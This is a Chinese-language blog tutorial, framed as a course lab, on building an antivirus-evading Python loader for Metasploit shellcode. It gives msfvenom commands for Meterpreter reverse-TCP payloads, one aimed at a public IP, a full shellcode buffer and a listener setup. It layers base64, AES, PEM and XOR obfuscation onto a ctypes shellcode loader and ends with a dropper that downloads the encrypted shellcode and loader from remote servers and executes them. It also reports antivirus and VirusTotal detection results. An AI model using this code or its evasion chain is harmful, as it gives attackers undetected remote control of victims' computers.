通过课程逐步了解了下免杀技术,由于课程需要和自身的探索欲,想着整一下试试,本篇是参照网上分离免杀例子进行复现,使用混淆加密方式结合shellcode与shellcodeloader分离式免杀
环境准备
对象
操作系统
IP地址
攻击机
kali
192.168.125.29
被攻击机
windows10
192.168.125.151
服务器一
centos
192.168.125.10
服务器二
centos
192.168.125.20
使用msfvenom生成基于python的shellcode,-b参数是为了避免坏字符
1 2 msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.125.29 lport=8888 -f py -b="\x00" msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=58.87.68.13 lport=9999 -f py -b="\x00"
最终生成的反向连接shellcode如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 buf = b"" buf += b"\x48\x31\xc9\x48\x81\xe9\xc0\xff\xff\xff\x48\x8d" buf += b"\x05\xef\xff\xff\xff\x48\xbb\x6c\x71\x11\x47\x30" buf += b"\x93\x87\xeb\x48\x31\x58\x27\x48\x2d\xf8\xff\xff" buf += b"\xff\xe2\xf4\x90\x39\x92\xa3\xc0\x7b\x4b\xeb\x6c" buf += b"\x71\x50\x16\x71\xc3\xd5\xa3\x5d\xa3\x40\x11\x55" buf += b"\xdb\x0c\xb9\x0c\x39\x9a\x15\x28\xdb\x0c\xb9\x4c" buf += b"\x39\x9a\x35\x60\xde\xb6\x22\x24\x7e\xa6\x0d\x7a" buf += b"\xdb\xb6\x2b\xc0\x4d\x70\x3b\x32\xbf\xa7\xaa\xad" buf += b"\xb8\x1c\x06\x31\x52\x65\x06\x3e\x39\x9a\x15\x10" buf += b"\xd2\xd6\x60\x2e\x4d\x59\x46\xe0\xf5\x06\x93\x74" buf += b"\x7a\x13\x48\xb5\xe1\x87\xeb\x6c\xfa\x91\xcf\x30" buf += b"\x93\x87\xa3\xe9\xb1\x65\x20\x78\x92\x57\xbb\xe7" buf += b"\x39\x09\x03\xbb\xd3\xa7\xa2\x6d\xa1\xf2\x11\x78" buf += b"\x6c\x4e\xa6\x5d\xb8\x50\xcc\x04\x1b\xcf\xea\xba" buf += b"\x39\x20\x87\x9c\xd2\x46\x22\x61\x30\x10\x86\x08" buf += b"\x73\xf2\x1a\x20\x72\x5d\x63\x38\xd6\xbe\x3a\x19" buf += b"\xa9\x49\x03\xbb\xd3\xa3\xa2\x6d\xa1\x77\x06\xbb" buf += b"\x9f\xcf\xaf\xe7\x31\x0d\x0e\x31\x43\xc6\x60\x68" buf += b"\xf9\x59\x46\xe0\xd2\xdf\xaa\x34\x2f\x48\x1d\x71" buf += b"\xcb\xc6\xb2\x2d\x2b\x59\xc4\xdc\xb3\xc6\xb9\x93" buf += b"\x91\x49\x06\x69\xc9\xcf\x60\x7e\x98\x5a\xb8\xcf" buf += b"\x6c\xda\xa2\xd2\x06\x62\x75\x6f\xa0\xb5\xeb\x6c" buf += b"\x30\x47\x0e\xb9\x75\xcf\x6a\x80\xd1\x10\x47\x30" buf += b"\xda\x0e\x0e\x25\xcd\x13\x47\x12\x2b\x47\x43\x11" buf += b"\x6c\x50\x13\x79\x1a\x63\xa7\xe5\x80\x50\xfd\x7c" buf += b"\xe4\xa1\xec\x93\xa4\x5d\xce\xda\xfb\x86\xea\x6c" buf += b"\x71\x48\x06\x8a\xba\x07\x80\x6c\x8e\xc4\x2d\x3a" buf += b"\xd2\xd9\xbb\x3c\x3c\x20\x8e\x7d\xa2\x47\xa3\x93" buf += b"\xb1\x59\xce\xf2\xdb\x78\x2b\x24\xf8\xd0\x06\x8a" buf += b"\x79\x88\x34\x8c\x8e\xc4\x0f\xb9\x54\xed\xfb\x2d" buf += b"\x29\x5d\xce\xd2\xdb\x0e\x12\x2d\xcb\x88\xe2\x44" buf += b"\xf2\x78\x3e\xe9\xb1\x65\x4d\x79\x6c\x49\x9e\x89" buf += b"\x99\x82\x47\x30\x93\xcf\x68\x80\x61\x59\xce\xd2" buf += b"\xde\xb6\x22\x06\x75\x50\x1f\x78\x1a\x7e\xaa\xd6" buf += b"\x73\xc8\x8f\x6f\x6c\x52\x68\x94\x71\x6f\x12\x78" buf += b"\x10\x43\xcb\x32\xf8\xe7\x2d\x70\xd2\xde\x83\x6c" buf += b"\x61\x11\x47\x71\xcb\xcf\x62\x9e\x39\x20\x8e\x71" buf += b"\x29\xdf\x4f\x3f\x94\xee\x92\x78\x1a\x44\xa2\xe5" buf += b"\xb6\x5c\x76\xf9\xda\x0e\x1b\x24\xf8\xcb\x0f\xb9" buf += b"\x6a\xc6\x51\x6e\xa8\xd9\x18\xcf\x46\x04\x13\x6c" buf += b"\x0c\x39\x1f\x71\xc4\xde\x83\x6c\x31\x11\x47\x71" buf += b"\xcb\xed\xeb\x36\x30\xab\x4c\x1f\x9c\xb7\x14\xb9" buf += b"\x26\x48\x06\x8a\xe6\xe9\xa6\x0d\x8e\xc4\x0e\xcf" buf += b"\x5d\x6e\xd7\x93\x8e\xee\x0f\x31\x50\xcf\xc2\xaa" buf += b"\x39\x94\xb1\x45\x27\xc6\x14\x8b\x29\x7b\x47\x69" buf += b"\xda\x40\x29\x9c\xc4\xb3\x11\xcf\x46\x87\xeb"
kali(192.168.125.29)开启监听
1 2 3 4 5 6 msfconsole use exploit/multi/handler/ set payload windows/x64/meterpreter/reverse_tcp set lhost 0.0.0.0 set lport 8888 run
技术支持 分离技术 将ShellCode和加载器代码放置于网络/服务器上,可以是二进制文件、文本文件、jpg等文件,通过请求读取的方式进行加载
实际测试用例中,主要思想是将经加密、编码后的shellcode放入服务器一中,将加密、编码后的shellcodeloader放入服务器二中,使用python中的request方法请求服务器的url,获取相应的shellcode和shellcodeloader,最终使用exec函数执行加载器
在如下代码中,a.text表示shellcode,b.content表示shellcodeloader,shellcodeloader中包含了解密所需方法、所需库,buf(shellcode)最终被带入b.content中进行解密、执行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 import requests import base64 import binascii import ctypes from Crypto.Cipher import AES from Crypto.Util.Padding import pad, unpad from Crypto.IO import PEM a = requests.get('http://192.168.125.10/a.txt') buf = a.text b = requests.get('http://192.168.125.20/b.txt') exec(base64.b64decode(b.content)[::-1].decode())
异或加密 异或运算是最为简单的加密方式,异或运算根据二进制位进行按位运算,如果对应位相同,则为0,不同则为1
也可以如以下代码,把每个字符转成ASCII值与特定的值(678)进行异或
1 2 3 4 5 6 7 def shellcode_xor(shellcode): xor_code = '' for i in shellcode: i = ord(i) ^ 678 xor_code += str(i) + '_' # 去掉最后一个_ return xor_code[:-1]
字符串反转 在Python中,对一个字符串进行反转,使用str[::-1]即可
主要原理是使用了python切片的原理,可以使用该方法对代码中出现的shellcode或者shellcodeloader进行反转,进一步消除特征
1 2 3 4 5 6 7 8 9 10 11 12 str="abc" print(str[::-1]) //会输出cba # shellcodeloader反转 shell_loader = b''' ctypes.windll.kernel32.VirtualAlloc.restype=ctypes.c_uint64 rwxpage = ctypes.windll.kernel32.VirtualAlloc(0, len(buf), 0x3000, 0x40) ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(rwxpage), ctypes.create_string_buffer(buf), len(buf)) handle = ctypes.windll.kernel32.CreateThread(0, 0, ctypes.c_uint64(rwxpage), 0, 0, 0) ctypes.windll.kernel32.WaitForSingleObject(handle, -1) ''' shellloader = shell_loader[::-1]
字节转字符串 由于Python的ShellCode为b’’的字节类型(也可以视为二进制类型),而要进行加密或反转处理,只能针对字符串进行处理,所以还需要对将字节类型数据转换为字符串。可以利用Python内置的binascii模块进行处理
1 2 3 4 5 import binascii buf = b"\xfc\xe8\x8f\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b" str = binascii.b2a_hex(buf).decode() print(str)
AES加密 AES属于对称加密算法,分组加密,算法明文长度固定为128位 (单位是比特bit,1bit就是1位,128位等于16字节)
而密钥长度可以是128、192、256位
测试免杀技术使用AES的CBC模式,使得对同一明文两次加密结果是不同的
使用前一个密文块对当前明文块进行加密,增加了随机性,相同的明文块在不同位置得到不同密文块。
需要使用初始化向量(IV)来增加安全性。
原理就是首先将明文进行分组,128位为一组,然后使用密钥结合AES算法对分组后的明文进行加密
CBC模式图:
python为AES代码实现提供了一种很方便的库,我们可以引用相关库实现AES加密
考虑到明文有时候不够128位,所以使用pad来进行填充,unpad就是去除填充
1 2 3 4 5 6 7 8 9 from Crypto.Cipher import AES from Crypto.Util.Padding import pad, unpad def aes_encode(shellcode): a = AES.new(key, AES.MODE_CBC, iv) # 填充明文,加密的数据必须被128整除 b = a.encrypt(pad(shellcode, 32)) # byte转16 return binascii.b2a_hex(b)
PEM加密 PEM是一种编码格式,用于表示各种类型的加密数据。它最初是为了电子邮件安全而设计的,现在广泛用于存储和传输加密密钥、证书、和其他数据
python中提供了Crypto库,来方便实现PEM加密,我们可以对shellcode进行PEM加密,以此来确保shellcode特征进一步钝化
1 2 3 4 5 6 from Crypto.IO import PEM def PEM_encode(shellcode): # PEM.encode(需要加密的数据, 指定名称, 指定密钥) shellcode = PEM.encode(shellcode, '', passphrase=b'shellcode') return shellcode
测试代码
1 2 3 4 5 6 7 8 9 10 11 12 13 import binascii from Crypto.IO import PEM def PEM_encode(shellcode): shellcode = PEM.encode(shellcode, '', passphrase=b'shellcode') return shellcode def b_to_a(shellcode): return binascii.b2a_hex(shellcode) if __name__ == '__main__': shellcode = b"\x48\x31\xc9\x48\x81\xe9\xc0\xff\xff\xff\x48\x8d" print(PEM_encode(b_to_a(shellcode)))
输出,它使用DES-EDE3-CBC加密。这通常包括以下部分:
Proc-Type : 指示数据处理类型,这里表示数据是被加密状态
DEK-Info : 包含加密算法和初始化向量(IV),这里是三重DES算法,采用CBC模式
最后一行表示经base64编码的加密数据,解密该数据需要使用前述的加密算法和初始化向量,并提供正确的密钥
1 2 3 4 5 6 -----BEGIN ----- Proc-Type: 4,ENCRYPTED DEK-Info: DES-EDE3-CBC,743C4F516B99C6F0 nQMNd5pisCY8lLAIihA3VJR4hQp2cJ9GSbSKhcaF++Y= -----END -----
PEM解码后中,PEM_decode一般会返回一个元组,包含多个元素,如下所示:
解码后的二进制数据
可能的其他信息(例如解码过程中提取的参数)
所以我们需要取解码后元组的第一个参数 ,即为解码后的原始数据
Shellcode加载器 在网络安全领域,Shellcode加载器通常被黑客用于将Shellcode加载到目标计算机的内存中并执行它。这些加载器被安全专业人员、研究人员和安全分析师用于分析恶意软件样本中的Shellcode部分,以便了解恶意软件的行为、目的和潜在威胁。Python的灵活性和强大的库,使得Python逐渐被用于Shellcode的加载和免杀技术。
我们可以利用Python中的ctypes库实现shellcode的加载,ctypes是Python的外部函数库。它提供了与C语言兼容的数据类型,并允许调用DLL或共享库中的函数。可使用该模块以纯 Python形式对这些库进行封装。
Shellcode加载器一般分为3步:
申请内存->Shellcode写入内存(-> 修改内存属性)->执行该内存。
下面这段代码就是一个经典的Shellcode加载器,主要使用了以下的api:
① VirtualAlloc动态申请内存
② RtlMoveMemory将Shellcode拷贝入申请空间
③ CreateThread创建线程运行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 import ctypes # shellcode buf = b"" shellcode = bytearray(buf) # 设置VirtualAlloc返回类型为ctypes.c_uint64 ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64 # 申请内存 ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40)) # 放入shellcode buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode) ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(ptr), buf, ctypes.c_int(len(shellcode))) # 创建一个线程从shellcode放置位置首地址开始执行 handle = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0), ctypes.c_int(0), ctypes.c_uint64(ptr), ctypes.c_int(0), ctypes.c_int(0), ctypes.pointer(ctypes.c_int(0))) # 等待上面创建的线程运行完 ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle), ctypes.c_int(-1))
shellcode 代码执行完成后,Shellcode加载器就会将buf中的二进制代码放入内存中执行,由于Shellcode本身较为复杂,很难由人来直接编写,所以我们可以借助工具例如cobaltstrike或者msfvenom来得到
下面是一个生成反向后门的msfvenom命令,其中-p指定使用哪个模块,lhost和lport设置反向连接的主机和端口,-f指定shellcode生成的格式,可以是raw(二进制文件)、jpg、py等,-b参数避免生成一些坏字符(\x00表示空格,也就是程序结束)
1 msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.125.29 lport=8888 -f py -b="\x00"
也可以使用CS生成payload后门
kali开启CS服务端
主机打开CS客户端连接服务端
在攻击–>生成后门–>payload生成器中
测试阶段 不应用任何免杀技术 使用shellcode加载器分配内存执行shellcode,可以正常上线
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 # -*- coding: UTF-8 -*- import ctypes # shellcode buf = b"" shellcode = bytearray(buf) # 设置VirtualAlloc返回类型为ctypes.c_uint64 ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64 # 申请内存 ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40)) # 放入shellcode buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode) ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(ptr), buf, ctypes.c_int(len(shellcode))) # 创建一个线程从shellcode放置位置首地址开始执行 handle = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0), ctypes.c_int(0), ctypes.c_uint64(ptr), ctypes.c_int(0), ctypes.c_int(0), ctypes.pointer(ctypes.c_int(0))) # 等待上面创建的线程运行完 ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle), ctypes.c_int(-1))
无论是py文件还是打包成exe,就会马上被安全软件检测出来,根据提示被发现是后门木马
shellcode加密混淆 结合上述提示,说明杀毒软件检测出来了shellcode,爆出了后门木马
那么可以将shellcode进行加密编码混淆,使得检出率降低
将shellcode进行byte转str–>base64编码–>AES加密,后依旧爆出后门木马
改进shellcode加密方式,byte转str–>base64编码–>AES加密–>PEM加密–>异或
编写shellcode加密算法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 import base64 import binascii import ctypes from Crypto.Cipher import AES from Crypto.Util.Padding import pad, unpad from Crypto.IO import PEM # msf生成的shellcode buf = b"" # shellcode加载器 shell_loader = b''' ctypes.windll.kernel32.VirtualAlloc.restype=ctypes.c_uint64 rwxpage = ctypes.windll.kernel32.VirtualAlloc(0, len(buf), 0x3000, 0x40) ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(rwxpage), ctypes.create_string_buffer(buf), len(buf)) handle = ctypes.windll.kernel32.CreateThread(0, 0, ctypes.c_uint64(rwxpage), 0, 0, 0) ctypes.windll.kernel32.WaitForSingleObject(handle, -1) ''' # AES加密密钥(128位/192位/256位--->16byte/24byte/32byte) key = b'4d65017f65d72aada5d1ab08d5c4bd18' # AES初始化向量(IV) iv = b'7d2d3e0bb1642d52' """ AES加密算法(CBC) 采用CBC模式,相同的明文块在不同位置得到不同密文块 将明文以128位分成组,然后利用使用初始化向量(IV)、加密算法和密钥进行加密 """ def aes_encode(shellcode): a = AES.new(key, AES.MODE_CBC, iv) # 填充明文 b = a.encrypt(pad(shellcode, 32)) # byte转16 return binascii.b2a_hex(b) """ byte转16 """ def b_to_a(shellcode): return binascii.b2a_hex(shellcode) """ base64编码 """ def b64_encode(shellcode): return base64.b64encode(shellcode) """ PEM加密 """ def PEM_encode(shellcode): # PEM.encode(需要加密的数据, 指定名称, 指定密钥) shellcode = PEM.encode(shellcode, '', passphrase=b'shellcode') return shellcode """ 异或 把每个字符转成ASCII值与678进行异或 """ def shellcode_xor(shellcode): xor_code = '' for i in shellcode: i = ord(i) ^ 678 xor_code += str(i) + '_' # 去掉最后一个_ return xor_code[:-1] """ shellcode加密算法 先把shellcode转为str,然后进行base64编码+AES+PEM+xor """ def shellcode_encode(shellcode): return shellcode_xor(PEM_encode(aes_encode(b64_encode(b_to_a(shellcode))))) """ 调用shellcode加密算法,对shellcode进行加密 """ def main(shellcode): return shellcode_encode(shellcode) if __name__ == '__main__': shellcode = main(buf) print("shellcode为:") print(shellcode)
上述shellcode加密脚本会生成一个加密后的shellcode,将shellcode加密后的值放入shellcodeloader中加载器即可
编写shellcodeloader,其中包含解密方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 import base64 import binascii import ctypes from Crypto.Cipher import AES from Crypto.Util.Padding import pad, unpad from Crypto.IO import PEM key = b'4d65017f65d72aada5d1ab08d5c4bd18' iv = b'7d2d3e0bb1642d52' def aes_decode(shellcode): a = AES.new(key, AES.MODE_CBC, iv) shellcode = binascii.a2b_hex(shellcode) shellcode = unpad(a.decrypt(shellcode), 32) return shellcode def a_to_b(shellcode): return binascii.a2b_hex(shellcode) def b64decode(shellcode): return base64.b64decode(shellcode) def PEM_decode(shellcode): shellcode = PEM.decode(shellcode, passphrase=b'shellcode') return shellcode def shellcode_xor_decode(shellcode): shellcode = shellcode.split('_') xor_code = '' for i in shellcode: i = int(i) ^ 678 xor_code += chr(i) return xor_code def main(shellcode): return a_to_b(b64decode(aes_decode(PEM_decode(shellcode_xor_decode(shellcode))[0]))) # 存放加密后的shellcode buf = '' buf = main(buf) shellcode = bytearray(buf) # 设置VirtualAlloc返回类型为ctypes.c_uint64 ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64 # 申请内存 ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40)) # 放入shellcode buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode) ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(ptr), buf, ctypes.c_int(len(shellcode))) # 创建一个线程从shellcode放置位置首地址开始执行 handle = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0), ctypes.c_int(0), ctypes.c_uint64(ptr), ctypes.c_int(0), ctypes.c_int(0), ctypes.pointer(ctypes.c_int(0))) # 等待上面创建的线程运行完 ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle), ctypes.c_int(-1))
这次使用安全软件检测,发现检出问题相对于不加任何免杀技术报警发生了变化,这次是爆出关于python的shellloader
shellcodeloader编码 根据上述爆出的错误,说明防病毒软件检出了shellcodeloader
那么下一步就是需要针对shellcodeloader做处理,降低检出率
思路:将shellcodeloader使用切片的方式,对shellcodeloader进行反转(python切片,从右到左),然后进行base64编码
在上述加密脚本中创建shellcodeloader变量
1 2 3 4 5 6 7 8 # shellcode加载器 shell_loader = b''' ctypes.windll.kernel32.VirtualAlloc.restype=ctypes.c_uint64 rwxpage = ctypes.windll.kernel32.VirtualAlloc(0, len(buf), 0x3000, 0x40) ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(rwxpage), ctypes.create_string_buffer(buf), len(buf)) handle = ctypes.windll.kernel32.CreateThread(0, 0, ctypes.c_uint64(rwxpage), 0, 0, 0) ctypes.windll.kernel32.WaitForSingleObject(handle, -1) '''
修正main方法,输出shellcode的同时输出编码后的shellcodeloader
1 2 def main(shellcode): return (shellcode_encode(shellcode), base64.b64encode(shell_loader[::-1]))
在主方法中,调用main方法
1 shellcode, shell_loader = main(buf)
在上述解密脚本中增加shellcodeloader变量,存储编码后的shellcodeloader变量
1 shell_load = b'CikxLSAsZWxkbmFoKHRjZWpiT2VsZ25pU3JvRnRpYVcuMjNsZW5yZWsubGxkbml3LnNlcHl0YwopMCAsMCAsMCAsKWVnYXB4d3IoNDZ0bml1X2Muc2VweXRjICwwICwwKGRhZXJoVGV0YWVyQy4yM2xlbnJlay5sbGRuaXcuc2VweXRjID0gZWxkbmFoCikpZnViKG5lbCAsKWZ1YihyZWZmdWJfZ25pcnRzX2V0YWVyYy5zZXB5dGMgLCllZ2FweHdyKDQ2dG5pdV9jLnNlcHl0Yyh5cm9tZU1ldm9NbHRSLjIzbGVucmVrLmxsZG5pdy5zZXB5dGMKKTA0eDAgLDAwMDN4MCAsKWZ1YihuZWwgLDAoY29sbEFsYXV0cmlWLjIzbGVucmVrLmxsZG5pdy5zZXB5dGMgPSBlZ2FweHdyCjQ2dG5pdV9jLnNlcHl0Yz1lcHl0c2VyLmNvbGxBbGF1dHJpVi4yM2xlbnJlay5sbGRuaXcuc2VweXRjCg=='
使用exec方法运行shellcodeloader
1 exec(base64.b64decode(shell_load)[::-1].decode())
使用防病毒软件测试,此时,针对于执行shellcode的py文件防病毒软件已经不会报警了
py文件测试 火绒
windows Defender
360
腾讯电脑管家
VIRUSTOTAL:https://www.virustotal.com/gui/home/upload
微步在线:https://s.threatbook.com/
上线测试 运行py文件
上线成功
exe文件测试 将其打包成exe就会报警,即使采用了不加-w参数
火绒检测
windows Defender
加上-w参数能够扫描到,不加上-w参数扫描不到
360
加不加-w参数均会报警
腾讯电脑管家
加不加-w参数均不会报警
VIRUSTOTAL:https://www.virustotal.com/gui/home/upload
加-w参数检出19个
不加-w参数检出13个
微步在线:https://s.threatbook.com/
加-w参数检出5个
不加-w参数检出3个
上线测试
shellcode和shellcodeloader分离 上述的py的检出率基本为0,但是打包成exe后检出率惨不忍睹,使用分离免杀技术针对此问题进行解决
思路:将加密后的shellcode和shellcodeloader上传到服务器上,通过request请求url方式获取shellcode和shellcodeloader内容,然后使用exec函数运行shellcodeloader
因为上述设计的解密脚本集解密、分配内存为一体,所以我们定义一个变量将解密脚本整个文件内容进行加密
创建encrypt.py文件,用于将加密后的shellcode写入a.txt中,同时输出编码后的shellcodeloader
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 import base64 import binascii import ctypes from Crypto.Cipher import AES from Crypto.Util.Padding import pad, unpad from Crypto.IO import PEM # shellcode buf = b"" # shellcode加载器 shell_loader = b''' ctypes.windll.kernel32.VirtualAlloc.restype=ctypes.c_uint64 rwxpage = ctypes.windll.kernel32.VirtualAlloc(0, len(buf), 0x3000, 0x40) ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(rwxpage), ctypes.create_string_buffer(buf), len(buf)) handle = ctypes.windll.kernel32.CreateThread(0, 0, ctypes.c_uint64(rwxpage), 0, 0, 0) ctypes.windll.kernel32.WaitForSingleObject(handle, -1) ''' # AES加密密钥(128位/192位/256位--->16byte/24byte/32byte) key = b'4d65017f65d72aada5d1ab08d5c4bd18' # AES初始化向量(IV) iv = b'7d2d3e0bb1642d52' """ AES加密算法(CBC) 采用CBC模式,相同的明文块在不同位置得到不同密文块 将明文以128位分成组,然后利用使用初始化向量(IV)、加密算法和密钥进行加密 """ def aes_encode(shellcode): a = AES.new(key, AES.MODE_CBC, iv) # 填充明文 b = a.encrypt(pad(shellcode, 32)) # byte转16 return binascii.b2a_hex(b) """ byte转16 """ def b_to_a(shellcode): return binascii.b2a_hex(shellcode) """ base64编码 """ def b64_encode(shellcode): return base64.b64encode(shellcode) """ PEM加密 """ def PEM_encode(shellcode): # PEM.encode(需要加密的数据, 指定名称, 指定密钥) shellcode = PEM.encode(shellcode, '', passphrase=b'shellcode') return shellcode """ 异或 把每个字符转成ASCII值与678进行异或 """ def shellcode_xor(shellcode): xor_code = '' for i in shellcode: i = ord(i) ^ 678 xor_code += str(i) + '_' # 去掉最后一个_ return xor_code[:-1] """ shellcode加密算法 先把shellcode转为str,然后进行base64编码+AES+PEM+xor """ def shellcode_encode(shellcode): return shellcode_xor(PEM_encode(aes_encode(b64_encode(b_to_a(shellcode))))) """ 调用shellcode加密算法,对shellcode进行加密 对shellcodeloader进行反转(python切片,从右到左),然后进行base64编码 """ def main(shellcode): return (shellcode_encode(shellcode), base64.b64encode(shell_loader[::-1])) if __name__ == '__main__': shellcode, shell_loader = main(buf) print("shell_loader为:") print(shell_loader) with open('a.txt', mode='w') as f1: f1.write(shellcode)
然后创建loader.py脚本,将整个解密脚本内容充当变量,最后将编码后的数据写入b.txt中
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 import base64 test = b''' import base64 import binascii import ctypes from Crypto.Cipher import AES from Crypto.Util.Padding import pad, unpad from Crypto.IO import PEM # 加密后的shellcodeloader shell_load = b'CikxLSAsZWxkbmFoKHRjZWpiT2VsZ25pU3JvRnRpYVcuMjNsZW5yZWsubGxkbml3LnNlcHl0YwopMCAsMCAsMCAsKWVnYXB4d3IoNDZ0bml1X2Muc2VweXRjICwwICwwKGRhZXJoVGV0YWVyQy4yM2xlbnJlay5sbGRuaXcuc2VweXRjID0gZWxkbmFoCikpZnViKG5lbCAsKWZ1YihyZWZmdWJfZ25pcnRzX2V0YWVyYy5zZXB5dGMgLCllZ2FweHdyKDQ2dG5pdV9jLnNlcHl0Yyh5cm9tZU1ldm9NbHRSLjIzbGVucmVrLmxsZG5pdy5zZXB5dGMKKTA0eDAgLDAwMDN4MCAsKWZ1YihuZWwgLDAoY29sbEFsYXV0cmlWLjIzbGVucmVrLmxsZG5pdy5zZXB5dGMgPSBlZ2FweHdyCjQ2dG5pdV9jLnNlcHl0Yz1lcHl0c2VyLmNvbGxBbGF1dHJpVi4yM2xlbnJlay5sbGRuaXcuc2VweXRjCg==' key = b'4d65017f65d72aada5d1ab08d5c4bd18' iv = b'7d2d3e0bb1642d52' def aes_decode(shellcode): a = AES.new(key, AES.MODE_CBC, iv) shellcode = binascii.a2b_hex(shellcode) shellcode = unpad(a.decrypt(shellcode), 32) return shellcode def a_to_b(shellcode): return binascii.a2b_hex(shellcode) def b64decode(shellcode): return base64.b64decode(shellcode) def PEM_decode(shellcode): shellcode = PEM.decode(shellcode, passphrase=b'shellcode') return shellcode def shellcode_xor_decode(shellcode): shellcode = shellcode.split('_') xor_code = '' for i in shellcode: i = int(i) ^ 678 xor_code += chr(i) return xor_code def main(shellcode): return a_to_b(b64decode(aes_decode(PEM_decode(shellcode_xor_decode(shellcode))[0]))) buf = main(buf) exec(base64.b64decode(shell_load)[::-1]) ''' b = base64.b64encode(test[::-1]).decode('utf-8') with open('b.txt', mode='w') as f1: f1.write(b)
最后考虑的就是如何调用服务器上的资源了,定义play.py文件,用于生成请求,从a.txt和b.txt中获得shellcode和shellcodeloader,并使用exec方法运行,在b.txt解码后会用到文件头中定义的库,所以提前定义好引用的库
1 2 3 4 5 6 7 8 9 10 11 12 13 14 import requests import base64 import binascii import ctypes from Crypto.Cipher import AES from Crypto.Util.Padding import pad, unpad from Crypto.IO import PEM a = requests.get('http://192.168.125.10/a.txt') buf = a.text print(buf) b = requests.get('http://192.168.125.20/b.txt') exec(base64.b64decode(b.content)[::-1].decode())
打包成exe,实测不要在encry.py和loader.py同级打包,好像会将其它信息打包在exe中?导致检出率显著提高
1 2 pyinstaller -F -w play.py pyinstaller -F play.py
防病毒软件测试 windows Defender
加不加-w参数均扫不到
火绒
加不加-w参数均扫不到
360
加-w参数被扫描到,不加-w参数不会被扫描到
腾讯电脑管家
加不加-w参数均扫不到
VIRUSTOTAL:https://www.virustotal.com/gui/home/upload
加上-w参数检出率16个
不加-w参数检出率为12
微步在线:https://s.threatbook.com/
加-w参数检出率4个,评估恶意
不加-w参数检出率2,评估恶意
上线测试 运行exe文件,均可上线kali(攻击机)
参考资料 python加载shellcode免杀_python shellcode加载器-CSDN博客
Python分离免杀 | CN-SEC 中文网